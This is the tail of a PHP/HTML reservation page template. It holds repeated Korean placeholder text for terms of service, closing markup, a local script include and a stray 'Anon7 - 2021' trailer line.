                    약관 테스트 내용입니다. 약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관
                    테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트
                    내용입니다.약관 테스트 내용입니다.
                </div>
            </div>
        </div>
    </div>
</div>
<script src="/js/regReservation.js?ver=<?=time()?>"></script>
</body>
</html>

Anon7 - 2021